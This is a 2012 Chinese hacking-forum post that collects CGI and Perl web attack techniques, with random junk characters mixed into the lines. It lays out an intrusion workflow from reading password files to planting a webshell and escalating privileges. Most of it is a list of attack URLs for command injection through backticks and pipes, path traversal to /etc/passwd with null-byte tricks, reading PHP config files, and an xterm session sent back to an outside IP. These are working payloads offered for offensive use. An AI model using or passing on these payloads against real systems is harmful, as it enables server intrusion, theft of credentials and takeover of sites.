找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2639|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  ! J" i4 C& T) o9 J9 O
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  8 O8 X6 r" l0 m$ H9 m2 p, e
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ; z: e; P4 _# j/ v
注“  
( _% `! n3 J; x$ w. F: dperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  % A) i4 l$ C8 i3 M1 Y) v: e
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
2 G5 X* h9 ]( j2 p: n. ?6 w6 w/ E" L
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  1 U: o5 |9 w+ P6 _) u
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  0 [( |4 O( w/ C, x3 o1 n1 t) q
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  $ E  z3 w6 M5 c; w7 r
http://target.com/cgi-bin/home/news/sub.pl?`id`  $ R7 B% }0 O0 x9 ]: [
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
/ n! C, q0 _; s+ c5 f4 f* thttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
' v' {9 \& }0 h. c6 Z
& Y' F/ a* c6 F! \- W* thttp://target.com/test.pl;ls|  
9 @. c" G& z: ?3 ohttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
# H/ t( X& }9 d4 k" J) Ghttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
# e8 y7 W% s$ b" J* @2 Qhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
9 m/ ~+ K7 D3 }, ^比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
* ?0 i6 O) L* n! N2 B/ \/ v" @http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
1 g: O! _. O  \* }& F* ~4 ]2 Q7 V' m
4 W3 [& T. v$ whttp://target.com/test.pl?&........ /../../etc/passwd  
- w5 }" ~- {) q; T5 p
! K7 _1 [/ \  I" H" D5 D! u: ~http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
6 Q4 Q$ b) V9 Rhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
5 t4 q/ z8 Q% \& S) vhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
8 |- p% j: }: F7 I
* Q4 X. `0 B8 u  jhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  + W2 f' s; u  J
http://www.target.org/show.php?f ... ng/admin/global.php  . e+ i  j5 c  Q( c
$ J4 B! U8 w" J( ^5 u5 ]! e& u, Q
emm和ps的一句话
, c: l/ \+ z: u* q+ ]8 D/ f* \- p0 k. i3 D- d( z: D
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  # ?4 k) V$ z- H: I/ B
! k2 v2 D+ p3 {& r
>bbb%20|  
/ m& G9 ]: p2 t: z+ }6 ~# r1 R: |3 [  Q- u+ s$ O* }; s8 i
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  0 V* @0 e* q/ F+ z+ Q

- b4 f% d0 f$ I+ h  F; m. A0 Lhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  ( B6 u& v2 R  u( s! \  ^9 W6 v
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  - e/ f6 a2 o& Q9 n: a( @: s) D

1 i3 b: x/ z3 h* G" ]相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  # c4 ~8 D& M$ L3 Q9 g% w  r: s
http://target.com/index.html#cmd.exe  ! H: ~& ~) R" }* i
http://target.com/index.html?dummyparam=xp_cmdshell  
$ f  _6 i! G4 \3 o( K  Mlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  4 Z9 x) w+ _5 R4 {3 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表